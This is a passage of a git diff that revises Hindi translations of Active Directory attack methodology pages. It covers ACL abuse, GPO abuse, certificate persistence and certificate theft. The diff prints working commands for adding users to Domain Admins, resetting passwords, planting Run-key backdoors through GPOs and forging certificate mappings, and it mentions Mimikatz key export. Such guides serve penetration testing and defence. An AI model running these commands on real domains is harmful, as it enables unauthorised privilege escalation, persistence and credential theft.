धोखाधड़ी या मैन-इन-द-मिडल सेवा के लिए प्रमाणीकरण करने के लिए मजबूर करना जिसे हमलावर बनाता है। यह धोखाधड़ी सेवा तब SYSTEM सेवा का अनुकरण करने में सक्षम होती है जबकि यह प्रमाणीकरण करने की कोशिश कर रही होती है। [SweetPotato](https://github.com/CCob/SweetPotato) के पास इन विभिन्न तकनीकों का एक संग्रह है जिसे Beacon के `execute-assembly` कमांड के माध्यम से निष्पादित किया जा सकता है। ### SCCM प्रबंधन बिंदु NTLM रिले (OSD गुप्त निष्कर्षण) -देखें कि SCCM **प्रबंधन बिंदुओं** की डिफ़ॉल्ट SQL भूमिकाओं का उपयोग नेटवर्क एक्सेस खाता और कार्य-क्रम गुप्त को सीधे साइट डेटाबेस से डंप करने के लिए कैसे किया जा सकता है: +देखें कि SCCM **प्रबंधन बिंदुओं** की डिफ़ॉल्ट SQL भूमिकाओं का उपयोग नेटवर्क एक्सेस खाता और कार्य-क्रम गुप्तों को सीधे साइट डेटाबेस से डंप करने के लिए कैसे किया जा सकता है: + {{#ref}} sccm-management-point-relay-sql-policy-secrets.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index ff8c42844..48076ca1e 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -21,13 +21,13 @@ Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipal .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए प्री-प्रमाणीकरण को अक्षम करें, जिससे उनका खाता ASREPRoasting के लिए संवेदनशील हो जाता है। +- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए प्री-प्रमाणीकरण को निष्क्रिय करें, जिससे उनका खाता ASREPRoasting के लिए संवेदनशील हो जाता है। ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **GenericAll अधिकार समूह पर** -यह विशेषाधिकार एक हमलावर को समूह की सदस्यता को नियंत्रित करने की अनुमति देता है यदि उनके पास `GenericAll` अधिकार किसी समूह पर हैं जैसे `Domain Admins`। समूह का विशिष्ट नाम पहचानने के बाद `Get-NetGroup` के साथ, हमलावर कर सकता है: +यह विशेषाधिकार एक हमलावर को समूह की सदस्यता को नियंत्रित करने की अनुमति देता है यदि उनके पास `GenericAll` अधिकार हैं जैसे कि `Domain Admins` पर। समूह का विशिष्ट नाम पहचानने के बाद `Get-NetGroup` के साथ, हमलावर कर सकता है: - **अपने आप को Domain Admins समूह में जोड़ें**: यह सीधे कमांड के माध्यम से या Active Directory या PowerSploit जैसे मॉड्यूल का उपयोग करके किया जा सकता है। ```bash @@ -40,7 +40,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense. इन विशेषाधिकारों को एक कंप्यूटर ऑब्जेक्ट या एक उपयोगकर्ता खाते पर रखने से निम्नलिखित की अनुमति मिलती है: - **Kerberos Resource-based Constrained Delegation**: एक कंप्यूटर ऑब्जेक्ट पर नियंत्रण प्राप्त करने की अनुमति देता है। -- **Shadow Credentials**: इस तकनीक का उपयोग करके एक कंप्यूटर या उपयोगकर्ता खाते का अनुकरण करें, विशेषाधिकारों का उपयोग करके शैडो क्रेडेंशियल्स बनाने के लिए। +- **Shadow Credentials**: इस तकनीक का उपयोग करके एक कंप्यूटर या उपयोगकर्ता खाते का अनुकरण करें, विशेषाधिकारों का उपयोग करके छाया क्रेडेंशियल बनाने के लिए। ## **WriteProperty on Group** @@ -52,20 +52,20 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai ``` ## **Self (Self-Membership) on Group** -यह विशेषाधिकार हमलावरों को `Domain Admins` जैसे विशिष्ट समूहों में खुद को जोड़ने की अनुमति देता है, ऐसे आदेशों के माध्यम से जो समूह की सदस्यता को सीधे नियंत्रित करते हैं। निम्नलिखित आदेश अनुक्रम का उपयोग करके आत्म-जोड़ी जा सकती है: +यह विशेषाधिकार हमलावरों को `Domain Admins` जैसे विशिष्ट समूहों में स्वयं को जोड़ने की अनुमति देता है, ऐसे आदेशों के माध्यम से जो समूह सदस्यता को सीधे नियंत्रित करते हैं। निम्नलिखित आदेश अनुक्रम का उपयोग करके स्वयं को जोड़ा जा सकता है: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Self-Membership)** -एक समान विशेषाधिकार, यह हमलावरों को समूह गुणों को संशोधित करके सीधे समूहों में खुद को जोड़ने की अनुमति देता है यदि उनके पास उन समूहों पर `WriteProperty` अधिकार है। इस विशेषाधिकार की पुष्टि और निष्पादन निम्नलिखित के साथ किया जाता है: +एक समान विशेषाधिकार, यह हमलावरों को समूह गुणों को संशोधित करके सीधे समूहों में खुद को जोड़ने की अनुमति देता है यदि उनके पास उन समूहों पर `WriteProperty` अधिकार है। इस विशेषाधिकार की पुष्टि और निष्पादन किया जाता है: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password` पर एक उपयोगकर्ता के लिए `ExtendedRight` रखने से वर्तमान पासवर्ड को जाने बिना पासवर्ड रीसेट करने की अनुमति मिलती है। इस अधिकार की सत्यापन और इसके शोषण को PowerShell या वैकल्पिक कमांड-लाइन उपकरणों के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के लिए कई विधियाँ प्रदान करते हैं, जिसमें इंटरैक्टिव सत्र और गैर-इंटरैक्टिव वातावरण के लिए एक-लाइनर शामिल हैं। कमांड सरल PowerShell आवाहनों से लेकर Linux पर `rpcclient` का उपयोग करने तक होते हैं, जो हमले के वेक्टर की बहुपरकारीता को प्रदर्शित करते हैं। +`User-Force-Change-Password` के लिए एक उपयोगकर्ता पर `ExtendedRight` रखने से वर्तमान पासवर्ड को जाने बिना पासवर्ड रीसेट करने की अनुमति मिलती है। इस अधिकार की पुष्टि और इसके शोषण को PowerShell या वैकल्पिक कमांड-लाइन उपकरणों के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के लिए कई विधियाँ प्रदान करते हैं, जिसमें इंटरैक्टिव सत्र और गैर-इंटरैक्टिव वातावरण के लिए एक-लाइनर शामिल हैं। कमांड सरल PowerShell कॉल से लेकर Linux पर `rpcclient` का उपयोग करने तक होते हैं, जो हमले के वेक्टर की बहुपरकारीता को प्रदर्शित करता है। ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -92,7 +92,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\ ``` ## **GenericWrite on Group** -इस विशेषाधिकार के साथ, हमलावर समूह की सदस्यता को नियंत्रित कर सकते हैं, जैसे कि स्वयं या अन्य उपयोगकर्ताओं को विशिष्ट समूहों में जोड़ना। इस प्रक्रिया में एक क्रेडेंशियल ऑब्जेक्ट बनाना, इसका उपयोग करके समूह से उपयोगकर्ताओं को जोड़ना या हटाना, और PowerShell कमांड के साथ सदस्यता परिवर्तनों की पुष्टि करना शामिल है। +इस विशेषाधिकार के साथ, हमलावर समूह की सदस्यता को नियंत्रित कर सकते हैं, जैसे कि खुद को या अन्य उपयोगकर्ताओं को विशिष्ट समूहों में जोड़ना। इस प्रक्रिया में एक क्रेडेंशियल ऑब्जेक्ट बनाना, इसका उपयोग करके समूह से उपयोगकर्ताओं को जोड़ना या हटाना, और PowerShell कमांड के साथ सदस्यता परिवर्तनों की पुष्टि करना शामिल है। ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -126,11 +126,11 @@ DCSync हमला डोमेन पर विशिष्ट पुनरु **एक दिए गए नीति के साथ कंप्यूटर**: यह निर्धारित करना संभव है कि एक विशिष्ट GPO किन कंप्यूटरों पर लागू होता है, जिससे संभावित प्रभाव के दायरे को समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**एक दिए गए कंप्यूटर पर लागू नीतियाँ**: यह देखने के लिए कि एक विशेष कंप्यूटर पर कौन सी नीतियाँ लागू हैं, `Get-DomainGPO` जैसे कमांड का उपयोग किया जा सकता है। +**एक दिए गए कंप्यूटर पर लागू नीतियाँ**: यह देखने के लिए कि किसी विशेष कंप्यूटर पर कौन सी नीतियाँ लागू हैं, `Get-DomainGPO` जैसे कमांड का उपयोग किया जा सकता है। **एक दिए गए नीति के साथ OUs**: एक दिए गए नीति से प्रभावित संगठनात्मक इकाइयों (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है। -आप [**GPOHound**](https://github.com/cogiceo/GPOHound) उपकरण का उपयोग करके GPOs की गणना कर सकते हैं और उनमें समस्याएँ खोज सकते हैं। +आप GPOs की गणना करने और उनमें समस्याएँ खोजने के लिए [**GPOHound**](https://github.com/cogiceo/GPOHound) उपकरण का भी उपयोग कर सकते हैं। ### GPO का दुरुपयोग - New-GPOImmediateTask @@ -140,34 +140,34 @@ New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net l ``` ### GroupPolicy module - Abuse GPO -GroupPolicy मॉड्यूल, यदि स्थापित है, तो नए GPO बनाने और लिंक करने की अनुमति देता है, और प्रभावित कंप्यूटरों पर बैकडोर निष्पादित करने के लिए रजिस्ट्री मान जैसे प्राथमिकताएँ सेट करता है। इस विधि के लिए GPO को अपडेट करना और निष्पादन के लिए कंप्यूटर में एक उपयोगकर्ता का लॉग इन होना आवश्यक है: +GroupPolicy मॉड्यूल, यदि स्थापित है, तो नए GPO बनाने और लिंक करने की अनुमति देता है, और प्रभावित कंप्यूटरों पर बैकडोर निष्पादित करने के लिए रजिस्ट्री मान जैसे प्राथमिकताएँ सेट करता है। इस विधि के लिए GPO को अपडेट करना और कंप्यूटर पर निष्पादन के लिए एक उपयोगकर्ता का लॉग इन करना आवश्यक है: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` ### SharpGPOAbuse - GPO का दुरुपयोग -SharpGPOAbuse एक विधि प्रदान करता है जिससे मौजूदा GPOs का दुरुपयोग किया जा सकता है, कार्य जोड़कर या सेटिंग्स को संशोधित करके बिना नए GPOs बनाए। इस उपकरण को परिवर्तन लागू करने से पहले मौजूदा GPOs में संशोधन करने या नए बनाने के लिए RSAT उपकरणों का उपयोग करने की आवश्यकता होती है: +SharpGPOAbuse मौजूदा GPOs का दुरुपयोग करने के लिए एक विधि प्रदान करता है, जिसमें नए GPOs बनाने की आवश्यकता के बिना कार्य जोड़ना या सेटिंग्स को संशोधित करना शामिल है। इस उपकरण को परिवर्तन लागू करने से पहले मौजूदा GPOs में संशोधन करने या नए बनाने के लिए RSAT उपकरणों का उपयोग करने की आवश्यकता होती है: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` ### नीति अपडेट को मजबूर करना -GPO अपडेट आमतौर पर हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज़ करने के लिए, विशेष रूप से परिवर्तन लागू करने के बाद, लक्षित कंप्यूटर पर `gpupdate /force` कमांड का उपयोग किया जा सकता है ताकि तुरंत नीति अपडेट को मजबूर किया जा सके। यह कमांड सुनिश्चित करता है कि GPO में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र की प्रतीक्षा किए बिना लागू किया जाए। +GPO अपडेट आमतौर पर हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज़ करने के लिए, विशेष रूप से परिवर्तन लागू करने के बाद, लक्ष्य कंप्यूटर पर `gpupdate /force` कमांड का उपयोग किया जा सकता है ताकि तुरंत नीति अपडेट को मजबूर किया जा सके। यह कमांड सुनिश्चित करता है कि GPO में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र की प्रतीक्षा किए बिना लागू किया जाए। ### अंदर की बात किसी दिए गए GPO के लिए अनुसूचित कार्यों की जांच करने पर, जैसे कि `Misconfigured Policy`, कार्यों की जैसे `evilTask` की अतिरिक्तता की पुष्टि की जा सकती है। ये कार्य स्क्रिप्ट या कमांड-लाइन उपकरणों के माध्यम से बनाए जाते हैं जो सिस्टम व्यवहार को संशोधित करने या विशेषाधिकार बढ़ाने का लक्ष्य रखते हैं। -कार्य की संरचना, जैसा कि `New-GPOImmediateTask` द्वारा उत्पन्न XML कॉन्फ़िगरेशन फ़ाइल में दिखाया गया है, अनुसूचित कार्य की विशिष्टताओं को रेखांकित करती है - जिसमें निष्पादित करने के लिए कमांड और इसके ट्रिगर्स शामिल हैं। यह फ़ाइल दर्शाती है कि GPO में अनुसूचित कार्यों को कैसे परिभाषित और प्रबंधित किया जाता है, नीति प्रवर्तन के हिस्से के रूप में मनमाने कमांड या स्क्रिप्ट को निष्पादित करने के लिए एक विधि प्रदान करती है। +कार्य की संरचना, जैसा कि `New-GPOImmediateTask` द्वारा उत्पन्न XML कॉन्फ़िगरेशन फ़ाइल में दिखाया गया है, अनुसूचित कार्य की विशिष्टताओं को रेखांकित करती है - जिसमें निष्पादित करने के लिए कमांड और इसके ट्रिगर्स शामिल हैं। यह फ़ाइल दर्शाती है कि GPOs के भीतर अनुसूचित कार्यों को कैसे परिभाषित और प्रबंधित किया जाता है, नीति प्रवर्तन के हिस्से के रूप में मनमाने कमांड या स्क्रिप्ट को निष्पादित करने के लिए एक विधि प्रदान करती है। ### उपयोगकर्ता और समूह -GPOs लक्षित सिस्टम पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की अनुमति भी देते हैं। उपयोगकर्ता और समूह नीति फ़ाइलों को सीधे संपादित करके, हमलावर विशेषाधिकार प्राप्त समूहों, जैसे स्थानीय `administrators` समूह में उपयोगकर्ताओं को जोड़ सकते हैं। यह GPO प्रबंधन अनुमतियों के प्रतिनिधित्व के माध्यम से संभव है, जो नीति फ़ाइलों को नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने के लिए संशोधित करने की अनुमति देता है। +GPOs लक्ष्य प्रणालियों पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की अनुमति भी देते हैं। उपयोगकर्ता और समूह नीति फ़ाइलों को सीधे संपादित करके, हमलावर विशेषाधिकार प्राप्त समूहों, जैसे कि स्थानीय `administrators` समूह में उपयोगकर्ताओं को जोड़ सकते हैं। यह GPO प्रबंधन अनुमतियों के प्रतिनिधित्व के माध्यम से संभव है, जो नीति फ़ाइलों को नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने के लिए संशोधित करने की अनुमति देता है। -उपयोगकर्ता और समूह के लिए XML कॉन्फ़िगरेशन फ़ाइल यह रेखांकित करती है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित सिस्टम में उच्च विशेषाधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से विशेषाधिकार बढ़ाने के लिए एक सीधा दृष्टिकोण प्रदान करती है। +उपयोगकर्ता और समूह के लिए XML कॉन्फ़िगरेशन फ़ाइल यह रेखांकित करती है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित प्रणालियों में उच्च विशेषाधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से विशेषाधिकार बढ़ाने के लिए एक सीधा दृष्टिकोण प्रदान करती है। -इसके अलावा, कोड निष्पादित करने या स्थिरता बनाए रखने के लिए अतिरिक्त विधियाँ, जैसे लॉगिन/लॉगऑफ स्क्रिप्ट का लाभ उठाना, ऑटो-रन के लिए रजिस्ट्री कुंजियों को संशोधित करना, .msi फ़ाइलों के माध्यम से सॉफ़्टवेयर स्थापित करना, या सेवा कॉन्फ़िगरेशन को संपादित करना भी विचार किया जा सकता है। ये तकनीकें GPOs के दुरुपयोग के माध्यम से लक्षित सिस्टम पर पहुंच बनाए रखने और नियंत्रण करने के लिए विभिन्न रास्ते प्रदान करती हैं। +इसके अलावा, कोड निष्पादित करने या स्थिरता बनाए रखने के लिए अतिरिक्त विधियाँ, जैसे कि लॉगिन/लॉगऑफ स्क्रिप्ट का लाभ उठाना, ऑटो-रन के लिए रजिस्ट्री कुंजियों को संशोधित करना, .msi फ़ाइलों के माध्यम से सॉफ़्टवेयर स्थापित करना, या सेवा कॉन्फ़िगरेशन को संपादित करना भी विचार किया जा सकता है। ये तकनीकें GPOs के दुरुपयोग के माध्यम से लक्ष्य प्रणालियों पर पहुंच बनाए रखने और नियंत्रण करने के लिए विभिन्न मार्ग प्रदान करती हैं। ## संदर्भ diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 400ca3480..31f2b80da 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -36,7 +36,7 @@ certipy auth -pfx user.pfx -dc-ip 10.0.0.10 ## प्रमाणपत्रों के साथ मशीन स्थिरता प्राप्त करना - PERSIST2 -यदि एक हमलावर के पास एक होस्ट पर उन्नत विशेषाधिकार हैं, तो वे डिफ़ॉल्ट `Machine` टेम्पलेट का उपयोग करके समझौता किए गए सिस्टम के मशीन खाते के लिए एक प्रमाणपत्र के लिए नामांकन कर सकते हैं। मशीन के रूप में प्रमाणीकरण करने से स्थानीय सेवाओं के लिए S4U2Self सक्षम होता है और यह स्थायी होस्ट स्थिरता प्रदान कर सकता है: +यदि एक हमलावर के पास एक होस्ट पर उन्नत विशेषाधिकार हैं, तो वे डिफ़ॉल्ट `Machine` टेम्पलेट का उपयोग करके समझौता किए गए सिस्टम के मशीन खाते के लिए एक प्रमाणपत्र के लिए नामांकित कर सकते हैं। मशीन के रूप में प्रमाणीकरण करने से स्थानीय सेवाओं के लिए S4U2Self सक्षम होता है और यह स्थायी होस्ट स्थिरता प्रदान कर सकता है: ```bash # Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine @@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0 ``` ## Extending Persistence Through Certificate Renewal - PERSIST3 -प्रमाणपत्र टेम्पलेट्स की वैधता और नवीनीकरण अवधि का दुरुपयोग एक हमलावर को दीर्घकालिक पहुंच बनाए रखने की अनुमति देता है। यदि आपके पास एक पूर्व में जारी किया गया प्रमाणपत्र और इसका निजी कुंजी है, तो आप इसे समाप्ति से पहले नवीनीकरण कर सकते हैं ताकि बिना मूल प्रिंसिपल से जुड़े अतिरिक्त अनुरोध कलाकृतियों को छोड़े एक नया, दीर्घकालिक क्रेडेंशियल प्राप्त कर सकें। +प्रमाणपत्र टेम्पलेट्स की वैधता और नवीनीकरण अवधि का दुरुपयोग एक हमलावर को दीर्घकालिक पहुंच बनाए रखने की अनुमति देता है। यदि आपके पास एक पूर्व में जारी किया गया प्रमाणपत्र और इसका निजी कुंजी है, तो आप इसे समाप्ति से पहले नवीनीकरण कर सकते हैं ताकि बिना मूल प्रिंसिपल से जुड़े अतिरिक्त अनुरोध कलाकृतियों को छोड़े एक नया, दीर्घकालिक प्रमाणपत्र प्राप्त कर सकें। ```bash # Renewal with Certipy (works with RPC/DCOM/WebEnrollment) # Provide the existing PFX and target the same CA/template when possible @@ -57,18 +57,18 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ # (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) certreq -enroll -user -cert renew [reusekeys] ``` -> संचालन संबंधी टिप: हमलावर-धारित PFX फ़ाइलों पर जीवनकाल को ट्रैक करें और जल्दी नवीनीकरण करें। नवीनीकरण से अपडेटेड प्रमाणपत्रों में आधुनिक SID मैपिंग एक्सटेंशन शामिल हो सकता है, जिससे वे सख्त DC मैपिंग नियमों के तहत उपयोगी बने रहते हैं (अगले अनुभाग को देखें)। +> संचालन टिप: हमलावर-धारित PFX फ़ाइलों पर जीवनकाल को ट्रैक करें और जल्दी नवीनीकरण करें। नवीनीकरण से अपडेटेड सर्टिफिकेट में आधुनिक SID मैपिंग एक्सटेंशन शामिल हो सकता है, जिससे वे सख्त DC मैपिंग नियमों के तहत उपयोगी बने रहते हैं (अगले अनुभाग को देखें)। -## स्पष्ट प्रमाणपत्र मैपिंग लगाना (altSecurityIdentities) – PERSIST4 +## स्पष्ट सर्टिफिकेट मैपिंग्स (altSecurityIdentities) लगाना – PERSIST4 -यदि आप एक लक्षित खाते के `altSecurityIdentities` विशेषता में लिख सकते हैं, तो आप उस खाते के लिए एक हमलावर-नियंत्रित प्रमाणपत्र को स्पष्ट रूप से मैप कर सकते हैं। यह पासवर्ड परिवर्तनों के पार स्थायी रहता है और, जब मजबूत मैपिंग प्रारूपों का उपयोग किया जाता है, तो आधुनिक DC प्रवर्तन के तहत कार्यात्मक बना रहता है। +यदि आप एक लक्षित खाते के `altSecurityIdentities` विशेषता में लिख सकते हैं, तो आप उस खाते के लिए एक हमलावर-नियंत्रित सर्टिफिकेट को स्पष्ट रूप से मैप कर सकते हैं। यह पासवर्ड परिवर्तनों के पार बना रहता है और, जब मजबूत मैपिंग प्रारूपों का उपयोग किया जाता है, तो आधुनिक DC प्रवर्तन के तहत कार्यात्मक बना रहता है। उच्च-स्तरीय प्रवाह: -1. एक क्लाइंट-प्रमाणित प्रमाणपत्र प्राप्त करें या जारी करें जिसे आप नियंत्रित करते हैं (जैसे, `User` टेम्पलेट के रूप में स्वयं को नामांकित करें)। -2. प्रमाणपत्र से एक मजबूत पहचानकर्ता निकालें (Issuer+Serial, SKI, या SHA1-PublicKey)। +1. एक क्लाइंट-प्रमाणन सर्टिफिकेट प्राप्त करें या जारी करें जिसे आप नियंत्रित करते हैं (जैसे, `User` टेम्पलेट के रूप में स्वयं को नामांकित करें)। +2. सर्टिफिकेट से एक मजबूत पहचानकर्ता निकालें (Issuer+Serial, SKI, या SHA1-PublicKey)। 3. उस पहचानकर्ता का उपयोग करके पीड़ित प्रमुख के `altSecurityIdentities` पर एक स्पष्ट मैपिंग जोड़ें। -4. अपने प्रमाणपत्र के साथ प्रमाणीकरण करें; DC इसे स्पष्ट मैपिंग के माध्यम से पीड़ित के साथ मैप करता है। +4. अपने सर्टिफिकेट के साथ प्रमाणीकरण करें; DC इसे स्पष्ट मैपिंग के माध्यम से पीड़ित के साथ मैप करता है। उदाहरण (PowerShell) एक मजबूत Issuer+Serial मैपिंग का उपयोग करते हुए: ```powershell @@ -85,10 +85,11 @@ Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 ``` Notes -- केवल मजबूत मैपिंग प्रकारों का उपयोग करें: X509IssuerSerialNumber, X509SKI, या X509SHA1PublicKey। कमजोर प्रारूप (Subject/Issuer, केवल Subject, RFC822 ईमेल) अप्रचलित हैं और DC नीति द्वारा अवरुद्ध किए जा सकते हैं। -- प्रमाणपत्र श्रृंखला को DC द्वारा विश्वसनीय एक रूट पर बनाना चाहिए। NTAuth में एंटरप्राइज CA आमतौर पर विश्वसनीय होते हैं; कुछ वातावरण सार्वजनिक CA को भी विश्वसनीय मानते हैं। +- केवल मजबूत मैपिंग प्रकारों का उपयोग करें: X509IssuerSerialNumber, X509SKI, या X509SHA1PublicKey। कमजोर प्रारूप (Subject/Issuer, Subject-only, RFC822 ईमेल) अप्रचलित हैं और DC नीति द्वारा ब्लॉक किए जा सकते हैं। +- प्रमाणपत्र श्रृंखला को DC द्वारा विश्वसनीय रूट पर बनाना चाहिए। NTAuth में एंटरप्राइज CA आमतौर पर विश्वसनीय होते हैं; कुछ वातावरण सार्वजनिक CA को भी विश्वसनीय मानते हैं। + +कमजोर स्पष्ट मैपिंग और हमले के रास्तों के बारे में अधिक जानकारी के लिए, देखें: -कमजोर स्पष्ट मैपिंग और हमले के रास्तों के बारे में अधिक जानकारी के लिए देखें: {{#ref}} domain-escalation.md @@ -120,7 +121,7 @@ Microsoft KB5014754 ने डोमेन नियंत्रकों पर प्रशासकों को निम्नलिखित पर निगरानी और अलर्ट करना चाहिए: - `altSecurityIdentities` में परिवर्तन और नामांकन एजेंट और उपयोगकर्ता प्रमाणपत्रों के जारी करने/नवीनीकरण। -- CA जारी करने के लॉग पर प्रतिनिधित्व अनुरोधों और असामान्य नवीनीकरण पैटर्न के लिए। +- प्रतिनिधित्व के अनुरोधों और असामान्य नवीनीकरण पैटर्न के लिए CA जारी करने के लॉग। ## संदर्भ diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 95fa3cb15..e8fb65813 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -6,7 +6,7 @@ ## मैं एक प्रमाणपत्र के साथ क्या कर सकता हूँ -प्रमाणपत्रों को चुराने के तरीके की जांच करने से पहले, यहाँ आपके पास यह जानने के लिए कुछ जानकारी है कि प्रमाणपत्र किसके लिए उपयोगी है: +प्रमाणपत्रों को चुराने के तरीके की जांच करने से पहले, यहाँ कुछ जानकारी है कि प्रमाणपत्र किसके लिए उपयोगी है: ```bash # Powershell $CertPath = "C:\path\to\cert.pfx" @@ -20,31 +20,32 @@ certutil.exe -dump -v cert.pfx ``` ## Exporting Certificates Using the Crypto APIs – THEFT1 -In an **interactive desktop session**, एक उपयोगकर्ता या मशीन प्रमाणपत्र को, साथ में निजी कुंजी के, आसानी से निकाला जा सकता है, विशेष रूप से यदि **निजी कुंजी निर्यात योग्य है**। इसे `certmgr.msc` में प्रमाणपत्र पर नेविगेट करके, उस पर राइट-क्लिक करके, और `All Tasks → Export` का चयन करके एक पासवर्ड-संरक्षित .pfx फ़ाइल उत्पन्न करके प्राप्त किया जा सकता है। +एक **इंटरएक्टिव डेस्कटॉप सत्र** में, एक उपयोगकर्ता या मशीन प्रमाणपत्र को निजी कुंजी के साथ निकालना आसान है, विशेष रूप से यदि **निजी कुंजी निर्यात योग्य** है। इसे `certmgr.msc` में प्रमाणपत्र पर नेविगेट करके, उस पर राइट-क्लिक करके, और `All Tasks → Export` का चयन करके एक पासवर्ड-संरक्षित .pfx फ़ाइल उत्पन्न करके किया जा सकता है। -For a **programmatic approach**, tools such as the PowerShell `ExportPfxCertificate` cmdlet or projects like [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) are available. These utilize the **Microsoft CryptoAPI** (CAPI) or the Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs provide a range of cryptographic services, including those necessary for certificate storage and authentication. +एक **प्रोग्रामेटिक दृष्टिकोण** के लिए, PowerShell `ExportPfxCertificate` cmdlet या [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) जैसे प्रोजेक्ट उपलब्ध हैं। ये **Microsoft CryptoAPI** (CAPI) या Cryptography API: Next Generation (CNG) का उपयोग करते हैं ताकि प्रमाणपत्र स्टोर के साथ इंटरैक्ट किया जा सके। ये APIs विभिन्न क्रिप्टोग्राफिक सेवाएं प्रदान करते हैं, जिनमें प्रमाणपत्र भंडारण और प्रमाणीकरण के लिए आवश्यक सेवाएं शामिल हैं। हालांकि, यदि एक निजी कुंजी को गैर-निर्यात योग्य के रूप में सेट किया गया है, तो सामान्यतः CAPI और CNG ऐसे प्रमाणपत्रों के निष्कर्षण को रोक देंगे। इस प्रतिबंध को बायपास करने के लिए, **Mimikatz** जैसे उपकरणों का उपयोग किया जा सकता है। Mimikatz `crypto::capi` और `crypto::cng` कमांड प्रदान करता है ताकि संबंधित APIs को पैच किया जा सके, जिससे निजी कुंजियों का निर्यात संभव हो सके। विशेष रूप से, `crypto::capi` वर्तमान प्रक्रिया के भीतर CAPI को पैच करता है, जबकि `crypto::cng` पैचिंग के लिए **lsass.exe** की मेमोरी को लक्षित करता है। ## User Certificate Theft via DPAPI – THEFT2 -More info about DPAPI in: +DPAPI के बारे में अधिक जानकारी: + {{#ref}} ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md {{#endref}} -In Windows, **certificate private keys are safeguarded by DPAPI**. यह पहचानना महत्वपूर्ण है कि **उपयोगकर्ता और मशीन निजी कुंजियों के लिए भंडारण स्थान** भिन्न होते हैं, और फ़ाइल संरचनाएँ ऑपरेटिंग सिस्टम द्वारा उपयोग किए जाने वाले क्रिप्टोग्राफिक API के आधार पर भिन्न होती हैं। **SharpDPAPI** एक उपकरण है जो DPAPI ब्लॉब्स को डिक्रिप्ट करते समय इन भिन्नताओं को स्वचालित रूप से नेविगेट कर सकता है। +Windows 